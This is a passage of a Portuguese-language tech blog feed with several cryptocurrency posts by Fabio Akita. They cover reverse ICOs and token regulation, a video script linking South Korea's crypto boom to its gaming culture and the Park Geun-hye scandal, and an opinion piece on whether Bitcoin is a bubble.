<p>Por exemplo, outra tendência que se mostrou durante o evento é uma nova categoria de ICOs chamado de “Reverse ICOs”. Em vez de startups iniciando do zero e lançando tokens, reverse ICOs são empresas que já tem uma grande base de usuários lançando um sub-produto ou complemento a um produto existente via lançamento de ICOs oferecendo ao público a chance da compra dos primeiros tokens, incluindo ter direitos de voto e dividendos futuros. O conceito nasceu do já existente reverse IPOs e reverse mergers - eu digo que o mundo financeiro é infinitamente criativo, desenvolvedores de software como eu tem muito a aprender ainda - Num reverse IPO uma empresa privada pode se tornar pública comprando as ações de uma empresa pública e fazendo uma troca das ações privadas pelas públicas.</p>
<p>Empresas da Coréia do Sul tem olhado para essa categoria também como uma forma de difundir seus produtos além de suas fronteiras. Como disse antes, a Kakao é gigante na Coréia do Sul mas ninguém conhece nem a marca fora dela. A Kakao está investindo em criptomoedas, como com a Ground X que é a spin off de cripto deles, e também tendo uma das maiores corretoras de lá, a Upbit que roda na plataforma da Kakao e está integrada ao KakaoTalk que é o equivalente Telegram deles. Lembram quando falei da população “hiperconectada” deles? Imagine criptomoedas integrados diretamente no seu Whatsapp. E isso é só o começo.</p>
<p>Jason Han, CEO da Kakao e da Ground X explicou que muita gente vê a implementação de soluções em cima de blockchain da maneira errada. Claro que isso faz muito sentido visto do ponto de vista da Kakao, mas não está errado. Não se deve pensar em “vamos refazer o Whatsapp em blockchain” isso seria ridículo porque todos nós sabemos que nenhum blockchain tem hoje throughput para aguentar o tráfego de um grande comunicador. Mas sim, como podemos integrar alguns tipos de funcionalidades entre diferentes comunicadores usando blockchain, por exemplo.</p>
<p>Diferentes soluções estão sendo apresentados, em particular a utilização de side-chains ou redes paralelas off-chain. Uma segunda rede mais veloz sobre a rede mais segura e, por consequência, mais lenta. Um exemplo foi da palestra da Orbs que se apresenta como a “Hybrid Blockchain” uma das muitas alternativas de solução que está sendo usado por diversas empresas incluindo a Kik, cujo ICO levantou mais de USD 100 milhões mas obviamente teve dificuldades para executar porque ele usou o approach errado de querer fazer um comunicador em cima de algum blockchain.</p>
<p>Voltando ao assunto de securities. Nos Estados Unidos, a SEC tende a automaticamente categorizar mesmo as utility tokens como securities. E daí a startup é obrigada a passar pelas Regulações D (formulário D), A+ e S. Isso não é barato, e aí você acaba procurando um VC para conseguir fazer os ritos necessários.</p>
<p>Isso tudo é importante, porque foi justamente o tema central tanto dos eventos Beyond Blocks quanto Blockchain Partners. Como os países têm encarado a diferenciação de Security vs Utility, onde as leis são mais amigáveis? Por isso também as tech startups têm migrado pra fora dos Estados Unidos e procurado outros países. E pela mesma razão vários países, querendo a oportunidade de tomar a dianteira estão se tornando amigáveis a startups que nos EUA não são tão bem vindos.</p>
<p>Mesmo países como Japão e Coréia do Sul ainda estão tomando precauções contra security tokens e ICOs em geral, aumentando a barreira de regulamentação, especialmente por causa do boom do fim do ano passado. Então países como Tailândia, Ilha de Malta e Taiwan têm apresentado alternativas de oportunidades. Taiwan, por exemplo, parece que está organizando um guideline para auxiliar na definição do que são bons e maus ICOs e preparando uma “zona de livre comércio” para empresas que queiram lançar seus ICOs lá.</p>
<p>A Suíça é notoriamente um dos lugares amigáveis a criptomoedas, pelo fato que muitos desenvolvedores core do Bitcoin coincidentemente serem de lá, e mais ainda desde a fundação do Ethereum Foundation. Eles atraíram cerca de 2000 empresas nesse mercado. Taiwan, com suas novas regulamentações mais liberais, quer atrair mais 200 empresas pra lá ainda esse ano. A Tailândia acabou de lançar novas regulamentações que devem facilitar empresas de criptomoedas incluindo ICOs e exchanges. E muito se falou do crescente interesse na Ilha de Malta.</p>
<p>É notório que hedge funds como a Galaxy de Novogratz ou a XRP Capital de Michael Arrington não gostem das excessivas restrições dos Estados Unidos. É notório também que a linha de discurso de todo mundo é um mercado mais livre, nos melhores moldes libertários. Significa correr mais riscos e não “proteger” as pessoas de si mesmos e simplesmente deixar a coisa rolar. Por isso eles também tem incentivado esses novos países com leis mais simples.</p>
<p>E, por hoje chega! No próximo episódio vamos ver porque essa discussão de regulamentação é tão importante, o que pode significar criptomoedas no futuro e qual a nossa situação do Brasil em comparação</p>
<p>O que acharam deste episódio? Não deixem de comentar abaixo, dêem um joinha se gostaram e assinem o canal e cliquem no sininho para não perder nenhum episódio!</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>leis-e-regulacao</category><category>akitando</category></item><item><title>[Akitando] #3 - Por que a Coréia do Sul é tão grande em Criptomoedas?</title><link>https://akitaonrails.github.io/2018/08/21/akitando-3-por-que-a-coreia-do-sul-e-tao-grande-em-criptomoedas/</link><guid isPermaLink="true">https://akitaonrails.github.io/2018/08/21/akitando-3-por-que-a-coreia-do-sul-e-tao-grande-em-criptomoedas/</guid><pubDate>Tue, 21 Aug 2018 17:00:00 -0300</pubDate><description>&lt;p&gt;Disclaimer: esta série de posts são transcripts diretos dos scripts usados em cada video do canal &lt;a href="https://www.youtube.com/channel/UCib793mnUOhWymCh2VJKplQ"target="_blank" rel="noopener"&gt;Akitando&lt;/a&gt;. O texto tem erros de português mas é porque estou apenas publicando exatamente como foi usado pra gravar o video, perdoem os errinhos.&lt;/p&gt;
&lt;div class="embed-container"&gt;
&lt;iframe
src="https://www.youtube.com/embed/BEaVdiTiiH4"
title="YouTube video player"
frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
referrerpolicy="strict-origin-when-cross-origin"
allowfullscreen&gt;
&lt;/iframe&gt;
&lt;/div&gt;
&lt;h3&gt;Descrição no YouTube&lt;span class="hx:absolute hx:-mt-20" id="descrição-no-youtube"&gt;&lt;/span&gt;
&lt;a href="#descri%c3%a7%c3%a3o-no-youtube" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Neste episódio finalmente vamos ver alguns dos assuntos que assisti na conferência Beyond Blocks Summit em Seoul. E no meio da pesquisa esbarrei com uma história muito curiosa que quero contar em mais detalhes aqui:&lt;/p&gt;</description><content:encoded><![CDATA[<p>Disclaimer: esta série de posts são transcripts diretos dos scripts usados em cada video do canal <a href="https://www.youtube.com/channel/UCib793mnUOhWymCh2VJKplQ"target="_blank" rel="noopener">Akitando</a>. O texto tem erros de português mas é porque estou apenas publicando exatamente como foi usado pra gravar o video, perdoem os errinhos.</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/BEaVdiTiiH4"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<h3>Descrição no YouTube<span class="hx:absolute hx:-mt-20" id="descrição-no-youtube"></span>
    <a href="#descri%c3%a7%c3%a3o-no-youtube" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Neste episódio finalmente vamos ver alguns dos assuntos que assisti na conferência Beyond Blocks Summit em Seoul. E no meio da pesquisa esbarrei com uma história muito curiosa que quero contar em mais detalhes aqui:</p>
<p>O que um culto xamanista e um cachorro de estimação podem ter a ver com o impeachment da presidente da Coréia do Sul e como isso pode estar relacionado com o boom das criptomoedas lá?</p>
<p>Este episódio ficou com a narração um pouco mais devagar do que eu gosto, mas nos próximos eu acelero um pouco mais, aguardem ;-)</p>
<h2>Script<span class="hx:absolute hx:-mt-20" id="script"></span>
    <a href="#script" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A gente acha que o Brasil não é para novatos.
É verdade. Mas não subestimem outros países. Querem ver?
Como um CULTO XAMANISTA e um cachorro de estimação levam ao impeachment da presidenta da Coréia do Sul e o que isso pode ter a ver com o boom de criptomoedas lá?</p>
<p>Rola a intro!</p>
<p>Olá Pessoal, Fabio Akita!</p>
<p>Mano … esse episódio vai dar trabalho. Apertem os cintos e vamos lá!
Com o turismo pra trás, HOJE vamos falar sobre o que vocês estavam esperando. Por que a Coréia é o que é no mundo de criptomoedas HOJE?</p>
<p>Claro, podemos criar muitas teorias e a maioria delas provavelmente vai estar errada, MAS uma delas veio logo no primeiro dia do evento Beyond Blocks. A primeira palestra foi do CEO e co-fundador da Hashed, Simon Kim.</p>
<p>A Hashed é um dos grupos mais influentes no mundo de criptomoedas na Coréia. Basicamente é uma aceleradora fundada no meio de 2017. Eles tem dezenas de startups no portfólio e estão envolvidos em projetos que vocês já devem ter ouvido falar como Kyber Network, OmniseGo, EOS, WAS, Storm. No portfolio deles, segundo a Crunchbase, você vê empreendimentos como Origin Protocol que já levantou mais de USD 28 milhões em investimento, Watcha que levantou 12 milhões, Bluzelle que levantou quase 20 milhões e assim por diante.</p>
<p>O próprio Simon foi um investidor no começo do Ethereum e, claro, se deu muito bem quando o Ether começou a crescer exponencialmente. Muitos fundadores de crypto funds eram inicialmente investidores e tiveram a sorte de pegar os primeiros bull runs como o de 2013 e do ano passado.</p>
<p>A teoria de Simon e da Hashed até faz muito sentido pra mim por isso apresento ela aqui. E tem a ver com TRES pilares: cultura, demografia e timing político.</p>
<p>Para dar perspectiva, pense que a Coréia do Sul é um país BEM pequeno. Ele não está nem entre os top 100 países em tamanho. É quase o fim da lista dos top 30 de população. Mas mesmo assim figura quase entre os top 10 de PIB, estando em 12o lugar!</p>
<p>A coréia é globalmente mais conhecida hoje pelo que eu chamo dos TRES Ks: Kimchi, K-pop claro e Kryptomoedas.</p>
<p>Que outros fatos são interessantes? Eles tem uma das internets mais rápidas do mundo, liderando acima da China, acima do Japão.</p>
<p>Eu falei como todo coreano carrega um celular Samsung e eles tem a maior densidade de smartphones difundido na população. E não estamos falando de feature phones, tipos os Nokia baratos que ainda se usa em muitos lugares da China ou Índia por exemplo. Estamos falando de smartphones Android. E a penetração é nada menos que 94% da população!</p>
<p>Some isso ao fato que quase metade dessa população, 40%, vive em Seoul ou em cidades ao redor da região de Seoul e você tem uma das populações mais hiperconectadas do mundo. O Brasil por exemplo é prejudicado pela sua geografia, que isola as cidades e impede conexões maiores. Veja este vídeo para saber mais.</p>
<p><a href="https://www.youtube.com/watch?v=FQ2jmrz_xgU"target="_blank" rel="noopener">https://www.youtube.com/watch?v=FQ2jmrz_xgU</a></p>
<p>Por causa disso a Coréia tem a 4a maior receita de app store do mundo. Só em 2017 os sul coreanos gastaram nada menos que 3 BILHÕES de dólares no Google App Store comprando itens puramente digitais. Avatars, presentes digitais, upgrade de apps. Num jogo chamado Lineage que é um MMORPG tipo World of Warcraft, jogadores gastam até 1000 DÓLARES em espadas digitais de quantidade limitada.</p>
<p>Games, todo mundo sabe que a Coréia tem uma longa tradição em games, MMORPG, e-sports. Todo mundo neste ponto já conhece a Bluehole que é a criadora sul coreana do explosivo massive multiplayer battle royale PUBG. Mas essa tradição vem lá de trás.</p>
<p>Sabe qual é o MMORPG mais antigo ainda em funcionamento até hoje? Que tal NEXUS: The Kingdom of the Winds que foi lançado em 1996 (!!) e até hoje está funcionando?</p>
<p>Em 1999 você já tinha o primeiro serviço pago de avatars chamado SayClub!</p>
<p>Também em 1999 você tinha um tipo de rede social com microblogging onde você podia comprar mercadorias virtuais para mobiliar um quarto virtual chamado CyWorld, algo como um Orkut mas já envolvendo comércio.</p>
<p>E 1999 não pára porque daí você tinha um grande portal onde você podia jogar usando uma moeda virtual, o Hancoin, na plataforma Hangame.</p>
<p>E o próximo passo depois de comprar coisas virtuais é trocá-las e aí você tem a plataforma ItemBay em 2001, um e-Bay para coisas virtuais.</p>
<p>E a Coréia também embarcou na onda Napster de música p2p com seu próprio Soribada.</p>
<p>E isso sem contar o início do e-Sports com o Starcraft League em 2000, a primeira liga de e-sports a atrair popularidade nacional.</p>
<p>Um aspecto que eu mesmo não tinha me dado conta, e faz todo sentido, é que asiático é viciado em jogatina. E jogatina organizada tipo cassino é proibido em muitas dos países asiáticos como na China, Japão ou Coréia do Sul. Só estrangeiros podem frequentar os cassinos. Um exemplo, Macau tem metade dos casinos de Las Vegas mas tem o DOBRO da receita. E nem começamos a falar das apostas em corridas de cavalos.</p>
<p>Com tudo isso, estabelecemos que a sociedade coreana é altamente cosmopolita, com quase metade da população na grande região ao redor de Seoul, todo mundo altamente conectado onde as notícias se espalham muito rápido entre uma população altamente acostumada a jogatina online.</p>
<p>Mas em 2012 quando o Bitcoin começou seu primeiro grande crescimento parabólico (antes do crash por causa do Mt Gox e Silk Road) os coreanos ainda não tinha muito acesso a comprar Bitcoins e perderam essa corrida. Então quando o Ethereum apareceu e passou do USD 1 de valor já haviam várias exchanges operacionais e as pessoas viram como uma oportunidade de investir no “próximo Bitcoin”.</p>
<p>Quando o valor do Ethereum passou de USD 1 para USD 40 em 4 meses em 2016, a notícia de ganhos de 4000% se espalharam hiper rápido e todo mundo começou a comprar Ether como se não houvesse amanhã! E as notícias de ganhos extraordinários em altcoins como Ripple, Litecoin, Monero e outros continuaram a se espalhar extremamente rápido nas mídias sociais durante 2017.</p>
<p>Só uma coisa poderia parar isso: a intervenção do governo. Qualquer governo do mundo, principalmente em 2015 a 2016, depois do crash da Mt Gox de 2014, estaria atento vendo pessoas comprando coisas como Ether desgovernadamente e o preço subindo de USD 1 para USD 10 do nada.</p>
<p>Em 2013 a Coréia do Sul tava elegendo seu 18o presidente, a primeira presidente mulher da história não só da Coréia do Sul, mas do Leste Asiático -  박근혜 - Park Geun Hyeo .
Ela tinha longa carreira política e exerceu quatro termos consecutivos no parlamento desde 1998. Segundo nossa amiga Wikipedia, depois que foi eleita ela foi listada como décima-primeira das mulheres mais influentes da lista da Forbes e quadragésima-sexta (46) pessoa mais influente da lista da Forbes, em termos de coreanos ela tava só atrás do presidente e vice-presidente do poderoso grupo Samsung. Lembram? 15% do PIB??</p>
<p>Ela também era conhecida pela más línguas como a “filha do ditador”, Park Chung Hee 박정희 que liderou um golpe de estado em 1961. Pelo bem ou pelo mal, numa Coréia do Sul pós-liberação (lembra? Contra os fantoches do norte em 1950), tendo terminado a segunda república que não tinha apoio por acusações de terem fraudado as eleições de 1960, dizem que a ditadura de Park criou as fundações pro rápido período de industrialização do país. As ditaduras militares iam ainda continuar até 1993.</p>
<p>Em 1974 uma tentativa de assassinato deu errado e o tiro perdido matou a primeira mulher de Park - Yuk Young-soo 육영수.</p>
<p>Park Chung Hee e sua filha Park Geun Hye obviamente sofreram muito com a morte de Yuk Young Soo e eis que uma figura bizarra aparece: Choi Tae-min originalmente um monge budista que se converteu para a igreja católica romana e criou um culto xamanista chamado Yongsae-gyo (영세교), ou “Igreja do Espírito do Mundo”, se auto-declarando Maitreya, ou “Futuro Buda”! Ele apareceu na vida dos Park logo depois do assassinato de Yuk Young Soo dizendo que ela apareceu para ele e pediu para que ajudasse sua filha!</p>
<p>Park escapou de outras tentativas de assassinato, sendo 2 pelo menos ligados a simpatizantes da Coréia do Norte. Mas em 79 ele foi traído pelo seu amigo e diretor da agencia central de inteligencia - a fucking CIA da Coréia- Kim Jae-gyu 김재규 que depois foi capturado junto com seus comparsas, torturado, julgado, condenado e executado. Então, em 2 anos, a jovem Geun Hyeo perdeu sua mãe e seu pai.</p>
<p>E foi assim que o sinistro Choi se tornou mentor de Park Geun Hyeo e também foi assim que sua 5a filha Choi Soon Sil se tornou amiga de Park Geun Hyeo desde pelo menos 1977.</p>
<p>Com uma carreira em ascensão que culminou em ser eleita democraticamente presidente em 2013 começaram a aparecer os escândalos. Parece que Park se tornou mero fantoche dos Choi, sendo manipulada a vida inteira.</p>
<p>Mas como isso veio à tona? A Coréia do Sul não é para amadores. A coisa estourou por causa do Puppygate! Isso mesmo!</p>
<p>Em resumo, a tal Choi conheceu um ex-esgrimista e atleta olímpico, o Ko Young Tae, que estava com uma marca luxuosa de bolsas e roupas chamada Villomillo. Choi gostou dos itens e passou a dá-los para a presidente Park. E, claro, o Ko se beneficiou muito tendo sua cara marca de itens associada não-oficialmente a Park via Choi.</p>
<p>A coisa azedou uma vez que a Choi pediu para ele cuidar do cachorro da sua filha. Ko deixou o cachorro no seu apartamento e foi jogar golfe. Quando voltou tomou uma comida de rabo homérica por ele ter deixado o cachorro abandonado. Daí ela passou a tratar ele mal, xingando ele, tratando como escravo. E o que fez o sr. Ko? Resolveu devolver os maus tratos: foi pra imprensa e contou da relação da Choi com Park. Aí a casa caiu.</p>
<p>Foi revelado como Choi Soon Sil que Não tem afiliação política nem nenhum tipo de cargo oficial tinha acesso a documentos confidenciais do governo, chegando a editar os discursos de Park. Também por causa dessa relação apareceu que Park fazia as grandes empresas como Samsung doar mais de dezenas de milhões de dólares para ONGs controladas por Choi.</p>
<p>Em resumo, como vocês sabem, o boca a boca corre MUITO rápido na população hiperconectada de Seoul. E em outubro de 2015 o povo já tava de saco cheio e foi pras ruas pedindo a renúncia de Park. Ela se recusou a renunciar mesmo tendo chegado ao pior índice de aceitação da história da Coréia do Sul, indo para 1% entre as pessoas abaixo de 60 anos de idade.</p>
<p>Choi foi até chamada por muitos de a Rasputin Coreana. Depois de muitas investigações e muita merda jogada no ventilador que espirrou em gigantes como os grupos Samsung e Lotte, terminou com a condenação de 20 anos de prisão de Choi.
E tentando relutar e negar até o fim, boicotando os julgamentos, ela terminou condenada por 16 das 18 acusações e terminou com uma sentença de 24 anos de prisão.  Agora ela está cumprindo sua pena no Centro de Detenção de Seoul.
Muitos ainda apoiam a ex-presidente e dizem que foi Golpe. ..</p>
<p>Sério, essa história é surreal. Quando você acha que já viu de tudo .. mas eu sei que ficou longo mas a história é tão legal que eu me empolguei aqui.</p>
<p>E o que tudo isso tem a ver com criptomoedas você se pergunta. Imagine o rebuliço que ficaram todas as instâncias de todas as instituições do país enquanto as investigações e o escrutínio da mídia e do público pegavam fogo.</p>
<p>Vocês acham que alguém do governo tava prestando atenção em Ethereum, que estava tendo uma valorização meteórica de preço de USD 1 para USD 40 e a mesma coisa estava começando a acontecer com outras alt-coins. Num período normal o governo teria brecado isso.</p>
<p>E eis a receita de como a Coréia do Sul saltou para o país com o maior volume de transações em criptomoedas em 2017. Imagina, uma população viciada por jogatina, ouvindo falar de novos milionários aparecendo do dia para a noite por causa de uma novidade chamada criptomoedas. O boca a boca digital de uma população quase inteira hiperconectada.</p>
<p>Nos Estados Unidos parece que nem 1% da população tem criptomoedas. De acordo com algumas pesquisas da Hashed, parece que nada menos que 30% dos trabalhadores assalariados da coréia do sul já tem criptomoedas em alguma forma, e isso é um número conservador. Alguns acreditam que o número real seja mais próximo dos 50% ou mais.</p>
<p>Além disso nos Estados Unidos, a maioria dos investidores está concentrado em grupos mais jovens, de millennials. Na Coréia até sua avó está investindo em criptomoedas. Não é incomum encontrar grupos de velhinhas discutindo altcoins nos cafés de Seoul.</p>
<p>Como disse no começo, é muito difícil dizer que essa exata sequência de eventos foram realmente os determinantes, mas que é uma puta boa história, isso é. E no mínimo serve para tornar a imagem que temos dos coreanos mais colorida.</p>
<p>E no próximo episódio vou ser mais leve e vamos tratar dos outros assuntos e startups que vi nos eventos. Em particular, vamos começar a tocar no assunto de ICOs!</p>
<p>Nos vemos em breve! Câmbio e desligo!</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>politica</category><category>games</category><category>akitando</category></item><item><title>Criptomoedas: É uma Bolha? Isso Importa?</title><link>https://akitaonrails.github.io/2017/12/05/criptomoedas-e-uma-bolha-isso-importa/</link><guid isPermaLink="true">https://akitaonrails.github.io/2017/12/05/criptomoedas-e-uma-bolha-isso-importa/</guid><pubDate>Tue, 05 Dec 2017 10:36:00 -0200</pubDate><description>&lt;p&gt;Obs: este post é uma continuação do meu artigo anterior &lt;a href="http://www.akitaonrails.com/2017/11/30/de-10-mil-e-alem-discutindo-criptomoedas"target="_blank" rel="noopener"&gt;&amp;ldquo;De 10K pra Frente&amp;rdquo;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Essa é a pergunta de um milhão de dólares. Ou de um bilhão!&lt;/p&gt;
&lt;p&gt;Se você assistiu ao lendário filme &amp;ldquo;A Rede Social&amp;rdquo;, conhece a versão romantizada da igualmente lendária criação do Facebook. E provavelmente sabe tudo sobre os antagonistas do filme, os Gêmeos Winklevoss.&lt;/p&gt;
&lt;p&gt;Mas como o filme se encerra nos primeiros anos do Facebook, há mais de uma década, é bem provável que você não saiba que esses mesmos gêmeos apostaram pesado em criptomoedas. Enquanto influenciavam a legislação de Nova York, eles investiram USD 11 milhões dos USD 65 milhões recebidos no acordo do Facebook. Em 2013, isso lhes permitiu comprar 1% das moedas disponíveis. O que significa que eles se tornaram os primeiros &lt;a href="https://www.theverge.com/2017/12/4/16732952/winklevoss-twins-bitcoin-billionaires-surge"target="_blank" rel="noopener"&gt;Bilionários das Criptomoedas&lt;/a&gt; (com &amp;ldquo;B&amp;rdquo;!)&lt;/p&gt;</description><content:encoded><![CDATA[<p>Obs: este post é uma continuação do meu artigo anterior <a href="http://www.akitaonrails.com/2017/11/30/de-10-mil-e-alem-discutindo-criptomoedas"target="_blank" rel="noopener">&ldquo;De 10K pra Frente&rdquo;</a>.</p>
<p>Essa é a pergunta de um milhão de dólares. Ou de um bilhão!</p>
<p>Se você assistiu ao lendário filme &ldquo;A Rede Social&rdquo;, conhece a versão romantizada da igualmente lendária criação do Facebook. E provavelmente sabe tudo sobre os antagonistas do filme, os Gêmeos Winklevoss.</p>
<p>Mas como o filme se encerra nos primeiros anos do Facebook, há mais de uma década, é bem provável que você não saiba que esses mesmos gêmeos apostaram pesado em criptomoedas. Enquanto influenciavam a legislação de Nova York, eles investiram USD 11 milhões dos USD 65 milhões recebidos no acordo do Facebook. Em 2013, isso lhes permitiu comprar 1% das moedas disponíveis. O que significa que eles se tornaram os primeiros <a href="https://www.theverge.com/2017/12/4/16732952/winklevoss-twins-bitcoin-billionaires-surge"target="_blank" rel="noopener">Bilionários das Criptomoedas</a> (com &ldquo;B&rdquo;!)</p>
<p><a href="https://www.youtube.com/watch?v=4e0n7vTLz1U"target="_blank" rel="noopener"><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/666/1_jAbJ-MalRwmEYpae6FdZ1A.jpeg" alt="Um bilhão de dólares"  loading="lazy" /></a></p>
<p>Então, isso é &ldquo;A Rede Social Parte 2: A Ascensão das Criptomoedas&rdquo;.</p>
<p>2017 foi uma montanha-russa para as criptomoedas em geral, e para o Bitcoin em particular.</p>
<p>Faz menos de 10 dias que chegamos ao &ldquo;mais de 9000!&rdquo;</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/668/It_s_over_9000.jpg" alt="Over 9000"  loading="lazy" /></p>
<p>E poucos dias depois, o Bitcoin cruzou a barreira dos 10.000! E quando todo mundo achava que era o limite, ele continuou subindo, na maior e mais rápida alta da história das criptomoedas.</p>
<p>No momento em que escrevo este artigo, estamos consolidando em torno dos 11.700, perseguindo os 12.000 enquanto nos aproximamos de 2018 e da entrada dos Futuros da CME, da Nasdaq e de muitos outros grandes empreendimentos.</p>
<p>E o mundo não consegue deixar de perguntar: <em>&ldquo;estamos numa bolha?&rdquo;</em></p>
<p>Ou, mais precisamente: <em>&ldquo;vou perder tudo se comprar Bitcoins hoje?&rdquo;</em></p>
<p>O que é curioso: a melhor resposta até agora veio da tradicional Forbes, no artigo <a href="https://www.forbes.com/sites/wwoo/2017/09/29/is-bitcoin-in-a-bubble-check-the-nvt-ratio/#22d085566a23"target="_blank" rel="noopener">&ldquo;Is Bitcoin In A Bubble? Check The NVT Ratio&rdquo;</a>.</p>
<p>Traders adoram seus indicadores. Na ciência da computação, estamos cada vez mais fascinados com estatística, probabilidade e o advento do machine learning. Mas os dois campos ainda estão longe de escapar da maior armadilha de todas: <a href="https://en.wikipedia.org/wiki/Post_hoc_ergo_propter_hoc"target="_blank" rel="noopener">&ldquo;Post hoc ergo propter hoc&rdquo;</a>.</p>
<blockquote>
  <p>&ldquo;Correlação NÃO é Causalidade&rdquo;</p>

</blockquote>
<p>Esse é o erro que leva a coisas inacreditáveis na história da humanidade. De religiões extremistas a pessoas vendendo imóveis para comprar Bitcoins.</p>
<p>Aceite que ninguém consegue prever o futuro. Podemos fazer previsões de curto prazo. Se procurarmos com afinco, encontramos qualquer quantidade de indicadores que parecem &ldquo;científicos&rdquo; e &ldquo;matemáticos&rdquo; o suficiente para convencer, mas no fim das contas valem tanto quanto um amuleto da sorte ou um trevo de quatro folhas.</p>
<p>E o mais importante: <strong>não importa se o Bitcoin despencar amanhã!</strong></p>
<p>Programadores de startups de tecnologia são os primeiros a gritar a besteira do <em>&ldquo;é a Mania das Tulipas de novo&rdquo;</em>, como se isso os fizesse soar sábios. Como disse no meu <a href="http://www.akitaonrails.com/2017/11/30/de-10-mil-e-alem-discutindo-criptomoedas"target="_blank" rel="noopener">artigo anterior</a>, se você ouvir alguém repetindo essa <a href="https://www.smithsonianmag.com/history/there-never-was-real-tulip-fever-180964915/"target="_blank" rel="noopener">fake news</a>, você sabe que essa pessoa não entende nada do assunto.</p>
<p>Igualmente desonesto é ouvir pessoas dizendo <em>&ldquo;é só acreditar, análise do mundo real não se aplica ao Bitcoin.&rdquo;</em> Isso é absurdo. Claro que se aplica. Tanto o mercado de ações quanto as criptomoedas seguem o mesmo comportamento, porque os jogadores são os mesmos. Não só análise técnica, mas também economia comportamental se aplica. Como o Efeito Dotação de Richard Thaler:</p>
<blockquote>
  <p>&ldquo;As pessoas atribuem mais valor às coisas simplesmente porque as possuem.&rdquo;</p>

</blockquote>
<p>Se os programadores são tão honestos e sábios, por que não nos lembrar da exuberância irracional no nosso próprio campo? Que tal a lendária <a href="https://en.wikipedia.org/wiki/Dot-com_bubble"target="_blank" rel="noopener">Bolha das Pontocom de 2001</a>?</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/670/dotcomcrash.png" alt="Dot-com Crash"  loading="lazy" /></p>
<p>Eu tinha 24 anos na época e cerca de 4 anos de carreira. Foi uma época maluca para trabalhar. Passei por 3 empresas diferentes nesse período. Vi todas elas explodirem. E cara, eu era tão empolgado e animado, e ao mesmo tempo tão frustrado.</p>
<p>Frustrado porque faltavam experiência, conhecimento e capital para embarcar naquelas empreitadas e pegar as ondas grandes.</p>
<p>Quando tudo desmoronou em 2001, parecia que tinha perdido a chance. Não é uma sensação agradável. Racionalmente eu sabia que não tinha perdido nada. Vivi aquilo, experienciei de perto, e como não tinha capital para investir, também não perdi nada quando tudo explodiu. Mas prometi a mim mesmo que aproveitaria o tempo para estudar, ganhar experiência e acumular capital. E quando outra oportunidade daquelas aparecesse, eu estaria pronto para agarrá-la.</p>
<p>O mais importante: a bolha estourou de forma espetacular. Nunca entrei em desespero, nunca senti que era &ldquo;o fim do mundo&rdquo;. O mundo nunca acaba; somos engenhosos demais para isso.</p>
<p>O gráfico acima é o Nasdaq-100, um índice do mercado de ações composto por mais de 100 títulos emitidos pelas 100 maiores empresas não-financeiras listadas na NASDAQ. E ele é poderoso porque dá a impressão de que o Bitcoin está caminhando para seu inevitável crash de bolha também.</p>
<p>Agora, veja o seguinte gráfico do Nasdaq-100 de 1999 até hoje (2017):</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/671/nasdaq-100.png" alt="Nasdaq hoje"  loading="lazy" /></p>
<p>Sim, tivemos um período de depressão e recuperação muito lenta. Depois a crise econômica de 2008 nos acertou em cheio. Mas nos recuperamos. Dê 10 anos após um crash e eu prometo que chegaremos a níveis acima de qualquer crise anterior. É assim que funcionamos. Com o tempo inovamos, ajustamos as arestas, tornamos as coisas mais eficientes e fluidas.</p>
<p>Hoje, o Nasdaq-100 está em 6.263,70. No pico do crash da bolha de 2001, o índice estava em 4.691,60. Ou seja, estamos 50% acima da febre da bolha dos anos 2000. E tudo isso aconteceu durante a minha vida.</p>
<p>E como planejei em 2001: na época eu não estava pronto. Agora estou.</p>
<p>A antifragilidade funciona assim: você pode arriscar uma quantia que, se perder, não vai se arrepender. Mas se ganhar, ganha grande. O Bitcoin é exatamente isso. Posso investir, digamos, R$ 50.000. Se perder, vai doer, mas não vou à falência por causa disso. Mas se o crescimento exponencial continuar e dobrar nos próximos 2 meses, terei R$ 100.000. E esses R$ 100.000, daqui a 6 meses, podem virar R$ 250.000 ou mais.</p>
<p>O ponto central é: se cair, perco os R$ 50.000. Tudo bem. E se quiser correr ainda mais risco, posso aplicar técnicas de trading, fazer swing trading, margin trading, me alavancar, e assim por diante.</p>
<p>O resumo é: realmente não importa se isso é uma bolha ou não. Se explodir, as criptomoedas vão continuar existindo, de uma forma ou de outra. Já experimentamos o que é negociar em uma moeda 100% digital sem fronteiras. Não vamos voltar atrás. A internet não voltou atrás — simplesmente não conseguimos mais ficar offline.</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>economia</category></item><item><title>De 10 Mil e Além: Discutindo Criptomoedas</title><link>https://akitaonrails.github.io/2017/11/30/de-10-mil-e-alem-discutindo-criptomoedas/</link><guid isPermaLink="true">https://akitaonrails.github.io/2017/11/30/de-10-mil-e-alem-discutindo-criptomoedas/</guid><pubDate>Thu, 30 Nov 2017 17:04:00 -0200</pubDate><description>&lt;p&gt;&lt;img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/665/cryptocurrencies.jpg" alt="cryptocurrencies" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Depois da &lt;a href="https://www.coindesk.com/10000-bitcoins-price-makes-history/"target="_blank" rel="noopener"&gt;histórica quebra dos USD 10.000&lt;/a&gt; ontem, o Bitcoin e as criptomoedas em geral finalmente chegaram à mídia mainstream de forma bombástica.&lt;/p&gt;
&lt;p&gt;Como muitos na área de tecnologia, eu experimentei desde o início. Eu mesmo minerava alguns bitcoins lá em 2009, depois perdi a chave privada da minha carteira, esqueci completamente do assunto, e muitos anos depois estou aqui me mordendo de arrependimento :-)&lt;/p&gt;
